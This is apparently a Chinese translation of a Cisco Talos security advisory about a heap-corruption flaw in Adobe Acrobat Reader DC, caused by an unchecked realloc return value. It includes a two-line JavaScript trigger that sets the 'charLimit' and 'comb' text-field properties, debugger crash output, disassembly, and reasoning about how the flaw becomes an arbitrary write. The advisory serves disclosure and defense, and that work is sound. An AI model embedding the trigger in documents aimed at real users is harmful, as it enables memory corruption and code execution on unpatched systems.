概述
在Adobe Acrobat Reader DC 2019.8.20071版本中打开PDF文档时,嵌入在PDF文件中的特定JavaScript代码可能会导致堆损坏。攻击者如果对内存进行仔细的操作,可能会导致任意代码执行。为了触发此漏洞,受害者需要打开恶意文件或访问恶意网页。
测试版本
Adobe Acrobat Reader DC 2019.8.20071
产品URL
CVSSv3评分
8.8 – CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE252:未经检查的返回值
漏洞详情
Adobe Acrobat Reader是当今市场上最受欢迎且功能最为丰富的PDF阅读器。Adobe Acrobat Reader具有庞大的用户群体,通常是系统上默认的PDF阅读器。该软件还支持集成到Web浏览器中,作为渲染PDF的一个插件。因此,攻击者只需欺骗用户访问恶意网页,或发出特制的电子邮件附件,就足以触发此漏洞。
Adobe Acrobat Reader DC支持PDF中的嵌入式JavaScript代码,以允许交互式PDF表单。这使得潜在的攻击者能够精确控制内存布局,并获得额外的攻击面。
在执行以下代码时,可能会发生任意内存越界访问:
app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000; app.activeDocs[0].getField('txt1')['comb'] = {};
在处理PDF中的文本字段时,如果comb属性设置为true,渲染的文本字段将会被拆分为不同的框(Box),文本字段中的每个字符都将放在它们对应的框之中。框的数量由charLimit属性控制。因此,我们将charLimit属性设置为一个较大的值,最终可以导致越界内存访问(Out-of-bounds Memory Access)。具体来说,越界访问发生在以下代码中:
Breakpoint 5 hit eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0 [0] 1:009> u AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 6b5c53f0 ff83e4010000 inc dword ptr [ebx+1E4h] [1] 6b5c53f6 8b4708 mov eax,dword ptr [edi+8] 6b5c53f9 8945f4 mov dword ptr [ebp-0Ch],eax 6b5c53fc 8b470c mov eax,dword ptr [edi+0Ch] 6b5c53ff 8945f8 mov dword ptr [ebp-8],eax 6b5c5402 8d45f4 lea eax,[ebp-0Ch] 6b5c5405 50 push eax 1:009> dd eax 540f0ba0 3aded289 418c0e56 3aded289 3f000000 540f0bb0 3b5ed289 418c0e56 3b5ed289 3f000000 540f0bc0 3ba71de7 418c0e56 3ba71de7 3f000000 540f0bd0 3bded289 418c0e56 3bded289 3f000000 540f0be0 3c0b4396 418c0e56 3c0b4396 3f000000 540f0bf0 3c28c155 418c0e56 3c28c155 3f000000 540f0c00 3c449ba6 418c0e56 3c449ba6 3f000000 540f0c10 3c6075f7 418c0e56 3c6075f7 3f000000 1:009> !heap -p -a eax [2] address 540f0ba0 found in _DPH_HEAP_ROOT @ e71000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 43870b94: 540f0ba0 500460 - 540f0000 502000 6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0 6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e 772c34bc ntdll!RtlpNtSetValueKey+0x000041cc 7726e01a ntdll!RtlCaptureStackContext+0x0000f16a 77221453 ntdll!RtlReAllocateHeap+0x00000043 74bc1320 ucrtbase!realloc_base+0x00000030 6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e [3] 6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac 6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205 6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc 6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37 6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667 6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b 6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32 6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce 6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b 6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647 6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f 6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c 6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73 6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf 6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b 6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c 6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1 7554be6b USER32!AddClipboardFormatListener+0x0000049b 7554833a USER32!DispatchMessageW+0x0000097a 75547bee USER32!DispatchMessageW+0x0000022e 755479d0 USER32!DispatchMessageW+0x00000010 6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0 6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568 6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3 6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7
当断点在[0]位置被触发时,我们可以看到,我们正在写入由ecx索引的eax指向的缓冲区,然后在[2]的位置,我们看到缓冲区的分配位置以及它的大小是足够大的。在[1]的位置,我们也看到最终在ecx中的索引有所增加。
该代码循环多次,会受到前面设置的charLimit属性限制。最终,索引将会持续增加,从而使得缓冲区的大小小于实际需要的空间,这时将会采用不同的路径,这将会导致调用realloc,也就是我们在[3]中看到的相同位置。具体代码如下:
.text:601E577F lea eax, [ecx+1388h] .text:601E5785 mov [ebx+1D8h], eax .text:601E578B shl eax, 3 .text:601E578E push eax .text:601E578F push dword ptr [ebx+1DCh] .text:601E5795 call indirect_realloc .text:601E579A mov [ebx+1DCh], eax [4]
在[4]的位置,realloc返回的指针将保存在ebx+1dc中,这是指向[0]中使用的缓冲区的指针。请注意,在这里并没有检查此realloc调用的返回值。由于这一调用增加了缓冲区的大小(最终由charLimit值控制),因此对malloc的调用可能会失败。未经检查的NULL值将被写入到缓冲区指针,代码循环到[0]。通常情况下,这只会导致NULL指针取消引用,但由于ecx中的索引越来越大,并且可能会达到4倍,所以我们可以控制NULL取消引用的偏移量,从而导致任意写入问题。实际上,如果我们移除断点,则会到只有以下崩溃:
(21d4.157c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=???????? 1:009> dd ecx*4 00eba7f0 ???????? ???????? ???????? ???????? 00eba800 ???????? ???????? ???????? ???????? 00eba810 ???????? ???????? ???????? ???????? 00eba820 ???????? ???????? ???????? ???????? 00eba830 ???????? ???????? ???????? ???????? 00eba840 ???????? ???????? ???????? ???????? 00eba850 ???????? ???????? ???????? ???????? 00eba860 ???????? ???????? ???????? ????????
请注意,在上面的调试输出中,eax为NULL,但ecx足够大,可以到达用户区的内存。启用页面堆的概念证明展示了这一崩溃的发生。通过进一步的存储器控制,可以更精确地选择重新分配失败的缓冲区大小,从而可以控制写入。这可能会导致进一步的内存损坏和任意代码执行。
时间线
· 2018年11月20日 向厂商披露
· 2019年2月12日 公开发布
贡献
本漏洞由Cisco Talos的Aleksandar Nikolic发现。